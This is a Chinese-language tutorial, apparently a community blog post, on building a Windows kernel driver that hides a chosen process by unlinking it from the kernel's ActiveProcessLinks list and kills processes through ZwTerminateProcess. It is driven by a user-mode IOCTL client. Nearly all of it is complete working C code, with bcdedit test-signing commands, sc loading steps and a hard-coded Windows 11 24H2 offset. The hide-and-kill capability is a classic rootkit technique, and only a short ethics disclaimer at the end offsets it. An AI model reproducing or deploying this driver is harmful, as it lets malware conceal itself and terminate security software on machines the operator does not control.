本文将探讨如何编写一个Windows内核模式驱动程序,来实现进程隐藏与终止功能。我们将从环境配置、内核数据结构操作讲起,并最终实现一个可通过用户态程序动态控制的完整方案。
环境准备与驱动安装
首先,你需要配置一个Windows 11虚拟机,并确保已禁用安全启动。接着,使用 bcdedit 命令启用调试和测试签名模式,以便加载我们未签名的驱动程序。
bcdedit /debug on
bcdedit /set testsigning on
定位关键数据结构偏移量
实现进程隐藏的核心在于操作内核的进程链表。你需要找到 ActiveProcessLinks 在 _EPROCESS 结构体中的偏移量。在调试器中查看结构定义:
0: kd> dt nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x1c8 ProcessLock : _EX_PUSH_LOCK
+0x1d0 UniqueProcessId : Ptr64 Void
+0x1d8 ActiveProcessLinks : _LIST_ENTRY
在我们的测试环境(Windows 11 24H2)中,ActiveProcessLinks 的偏移量是 0x1d8。这个值对于后续的代码至关重要。
编写基础的进程隐藏驱动
下面是一个基础版本的内核驱动程序,它会硬编码一个进程ID(PID),并将其从系统进程链表中摘除,从而达到在任务管理器等工具中隐藏的效果。
#include <Ntifs.h>
#include <ntddk.h>
VOID HideProcessByPid(ULONG pidToHide);
NTSTATUS DriverUnload(_In_ PDRIVER_OBJECT driverObject) {
UNREFERENCED_PARAMETER(driverObject);
KdPrint(("[+] Unloading driver\n"));
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT driverObject, _In_ PUNICODE_STRING registryPath) {
UNREFERENCED_PARAMETER(registryPath);
KdPrint(("[+] Driver loaded\n"));
driverObject->DriverUnload = DriverUnload;
ULONG pidToHide = 9636;
KdPrint(("[+] Calling Hide Process...\n"));
HideProcessByPid(pidToHide);
KdPrint(("[+] Called Hide Process\n"));
return STATUS_SUCCESS;
}
VOID HideProcessByPid(ULONG pidToHide) {
PEPROCESS targetProcess = NULL;
PLIST_ENTRY activeProcLinks;
PLIST_ENTRY prevEntry, nextEntry;
KdPrint(("[+] Looking up process...\n"));
if (NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)pidToHide, &targetProcess))) {
KdPrint(("[+] Lookup worked\n"));
// 0x1d8 = Windows 11 24H2 ActiveLinks Offset
activeProcLinks = (PLIST_ENTRY)((ULONG_PTR)targetProcess + 0x1d8);
prevEntry = activeProcLinks->Blink;
nextEntry = activeProcLinks->Flink;
DbgPrint(" targetProcess: %p\n", targetProcess);
DbgPrint(" activeProcLinks: %p\n", activeProcLinks);
DbgPrint(" prevEntry: %p\n", prevEntry);
DbgPrint(" nextEntry: %p\n", nextEntry);
// Unlink the process from the list
prevEntry->Flink = nextEntry;
nextEntry->Blink = prevEntry;
ObDereferenceObject(targetProcess);
KdPrint(("[-] Process with PID %d hidden\n", pidToHide));
} else {
KdPrint(("[-] Failed to find process with PID %d\n", pidToHide));
}
}
关键点:请确保编译驱动程序的调试版本(Debug),而非发布版本(Release),这样我们才能在调试工具中看到内核打印的调试消息。
加载驱动与验证
使用 sc 命令创建服务并启动驱动程序:
C:\>sc create MyDriver type= kernel binPath= C:\MyDriver.sys
[SC] CreateService SUCCESS
C:\Users\user\Desktop>sc start MyDriver
SERVICE_NAME: MyDriver
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PID : 0
FLAGS :
启动后,可以使用微软的 DebugView 工具来捕获驱动程序输出的调试信息。在DebugView的“Capture”菜单中,请确保勾选以下选项:
- Capture Kernel
- Capture Win32
- Capture Global Win32
- Pass-Through
如果一切正常,你将在DebugView中看到驱动程序打印的进程句柄、偏移量地址等信息。此时,代码中指定的PID对应的进程将从任务管理器中“消失”。
实现用户态通信与进程终止
硬编码PID显然不够灵活。更实用的方法是编写一个用户态应用程序,通过 IOCTL 与内核驱动进行动态通信。同时,我们还可以在驱动中集成使用 ZwTerminateProcess 终止进程的功能。
增强版驱动程序代码
此版本驱动创建了一个设备对象,并定义了两种IOCTL控制码,分别用于隐藏和终止进程。
#include <Ntifs.h>
#include <ntddk.h>
#define IOCTL_HIDE_PROCESS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_KILL_PROCESS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define PROCESS_TERMINATE 0x0001
VOID HideProcessByPid(ULONG pidToHide);
NTSTATUS KillProcessByPid(ULONG pidToKill);
NTSTATUS DriverUnload(_In_ PDRIVER_OBJECT driverObject) {
UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\DosDevices\\HideProc");
IoDeleteSymbolicLink(&symLink);
IoDeleteDevice(driverObject->DeviceObject);
KdPrint(("[+] Unloading driver\n"));
return STATUS_SUCCESS;
}
NTSTATUS DriverCreateClose(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
UNREFERENCED_PARAMETER(DeviceObject);
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
NTSTATUS DriverDeviceControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
UNREFERENCED_PARAMETER(DeviceObject);
PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
ULONG controlCode = stack->Parameters.DeviceIoControl.IoControlCode;
ULONG inputLen = stack->Parameters.DeviceIoControl.InputBufferLength;
NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST;
if (inputLen == sizeof(ULONG)) {
ULONG pid = *(ULONG*)Irp->AssociatedIrp.SystemBuffer;
switch (controlCode) {
case IOCTL_HIDE_PROCESS:
KdPrint(("[+] IOCTL_HIDE_PROCESS received for PID %u\n", pid));
HideProcessByPid(pid);
status = STATUS_SUCCESS;
break;
case IOCTL_KILL_PROCESS:
KdPrint(("[+] IOCTL_KILL_PROCESS received for PID %u\n", pid));
status = KillProcessByPid(pid);
break;
default:
KdPrint(("[-] Unknown IOCTL code: 0x%08X\n", controlCode));
break;
}
Irp->IoStatus.Information = 0;
} else {
KdPrint(("[-] Invalid input size: %u\n", inputLen));
status = STATUS_BUFFER_TOO_SMALL;
}
Irp->IoStatus.Status = status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return status;
}
NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT driverObject, _In_ PUNICODE_STRING registryPath) {
PDEVICE_OBJECT deviceObject = NULL;
UNICODE_STRING deviceName = RTL_CONSTANT_STRING(L"\\Device\\HideProcDevice");
UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\DosDevices\\HideProc");
UNREFERENCED_PARAMETER(registryPath);
NTSTATUS status = IoCreateDevice(
driverObject,
0,
&deviceName,
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
FALSE,
&deviceObject
);
if (!NT_SUCCESS(status)) {
KdPrint(("[-] Failed to create device (0x%08X)\n", status));
return status;
}
status = IoCreateSymbolicLink(&symLink, &deviceName);
if (!NT_SUCCESS(status)) {
IoDeleteDevice(deviceObject);
KdPrint(("[-] Failed to create symbolic link (0x%08X)\n", status));
return status;
}
driverObject->MajorFunction[IRP_MJ_CREATE] = DriverCreateClose;
driverObject->MajorFunction[IRP_MJ_CLOSE] = DriverCreateClose;
driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverDeviceControl;
driverObject->DriverUnload = DriverUnload;
KdPrint(("[+] Driver loaded\n"));
return STATUS_SUCCESS;
}
NTSTATUS KillProcessByPid(ULONG pidToKill)
{
NTSTATUS status;
HANDLE processHandle;
OBJECT_ATTRIBUTES objAttr;
CLIENT_ID clientId;
InitializeObjectAttributes(&objAttr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
clientId.UniqueProcess = (HANDLE)(ULONG_PTR)pidToKill;
clientId.UniqueThread = NULL;
// Open a handle to the process
status = ZwOpenProcess(&processHandle, PROCESS_TERMINATE, &objAttr, &clientId);
if (!NT_SUCCESS(status)) {
KdPrint(("[-] ZwOpenProcess failed for PID %u: 0x%X\n", pidToKill, status));
return status;
}
// Terminate the process
status = ZwTerminateProcess(processHandle, STATUS_SUCCESS);
if (!NT_SUCCESS(status)) {
KdPrint(("[-] ZwTerminateProcess failed for PID %u: 0x%X\n", pidToKill, status));
} else {
KdPrint(("[+] Successfully terminated PID %u\n", pidToKill));
}
ZwClose(processHandle);
return status;
}
VOID HideProcessByPid(ULONG pidToHide) {
PEPROCESS targetProcess = NULL;
PLIST_ENTRY activeProcLinks;
PLIST_ENTRY prevEntry, nextEntry;
KdPrint(("[+] Looking up process...\n"));
if (NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)pidToHide, &targetProcess))) {
KdPrint(("[+] Lookup worked\n"));
// 0x1d8 = Windows 11 24H2 ActiveLinks Offset
activeProcLinks = (PLIST_ENTRY)((ULONG_PTR)targetProcess + 0x1d8);
prevEntry = activeProcLinks->Blink;
nextEntry = activeProcLinks->Flink;
DbgPrint(" targetProcess: %p\n", targetProcess);
DbgPrint(" activeProcLinks: %p\n", activeProcLinks);
DbgPrint(" prevEntry: %p\n", prevEntry);
DbgPrint(" nextEntry: %p\n", nextEntry);
// Unlink the process from the list
prevEntry->Flink = nextEntry;
nextEntry->Blink = prevEntry;
// Nullify the processes BLINK/FLINK. Failure to do so will cause a crash when the process closes.
activeProcLinks->Flink = activeProcLinks;
activeProcLinks->Blink = activeProcLinks;
ObDereferenceObject(targetProcess);
KdPrint(("[-] Process with PID %d hidden\n", pidToHide));
} else {
KdPrint(("[-] Failed to find process with PID %d\n", pidToHide));
}
}
注意,这个版本的 HideProcessByPid 函数在摘除链表后,额外将进程自身的链表指针指向了自己,这是一个重要的稳定性修复,可以防止进程退出时引起系统崩溃。
用户态控制程序
将以下代码编译为一个C++控制台应用程序。它通过 DeviceIoControl 函数向驱动发送IOCTL指令。
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define FILE_DEVICE_UNKNOWN 0x00000022
#define METHOD_BUFFERED 0
#define FILE_ANY_ACCESS 0
#define IOCTL_HIDE_PROCESS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_KILL_PROCESS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
int main(int argc, char** argv) {
if (argc != 3) {
printf("Usage: %s <PID> <hide|kill>\n", argv[0]);
printf("Example: %s 1234 hide\n", argv[0]);
printf(" %s 1234 kill\n", argv[0]);
return 1;
}
// Parse PID
char* endptr = NULL;
ULONG pid = strtoul(argv[1], &endptr, 10);
if (endptr == argv[1] || *endptr != '\0' || pid == 0) {
printf("[-] Invalid PID: %s\n", argv[1]);
return 2;
}
// Determine action: hide or kill
DWORD ioctlCode = 0;
if (_stricmp(argv[2], "hide") == 0) {
ioctlCode = IOCTL_HIDE_PROCESS;
} else if (_stricmp(argv[2], "kill") == 0) {
ioctlCode = IOCTL_KILL_PROCESS;
} else {
printf("[-] Invalid action: %s. Use 'hide' or 'kill'.\n", argv[2]);
return 3;
}
printf("[+] Sending '%s' request for PID %lu to driver...\n", argv[2], pid);
// Open handle to driver
HANDLE hDevice = CreateFileA(
"\\\\.\\HideProc",
GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open device: %lu\n", GetLastError());
return 4;
}
DWORD bytesReturned = 0;
BOOL success = DeviceIoControl(
hDevice,
ioctlCode,
&pid,
sizeof(pid),
NULL,
0,
&bytesReturned,
NULL
);
if (success) {
printf("[+] IOCTL sent successfully to %s PID %lu\n", argv[2], pid);
} else {
printf("[-] DeviceIoControl failed: %lu\n", GetLastError());
}
CloseHandle(hDevice);
return success ? 0 : 5;
}
使用方法:先加载驱动程序,然后运行客户端程序,指定目标PID和操作(hide 或 kill)。例如:Client.exe 5678 hide。
重要注意事项与后续方向
内核驱动程序的开发和加载涉及系统底层,需要特别注意:
- 数字签名:在生产环境中,Windows通常要求内核驱动具有有效的微软数字签名才能加载。在测试环境中,我们使用“测试签名模式”绕过了此限制。如何进一步绕过签名检查,是逆向工程和安全研究中的一个深入话题。
- 系统稳定性:不当的内核编程极易导致系统蓝屏崩溃(BSOD)。本文提供的代码在特定版本(Win11 24H2)下测试,偏移量可能随系统更新而变化。
- 安全与伦理:此类技术常用于安全软件(如杀毒、ARK工具)和渗透测试中,但也可被恶意软件利用。请仅在合法授权和实验环境中进行学习和测试。
深入了解内核与驱动开发,需要扎实的 C/C++ 功底和对操作系统原理的深刻理解。如果你对 Windows 内核 或 系统安全 有更浓厚的兴趣,欢迎在 云栈社区 的安全/渗透/逆向或C/C++板块与更多开发者交流探讨。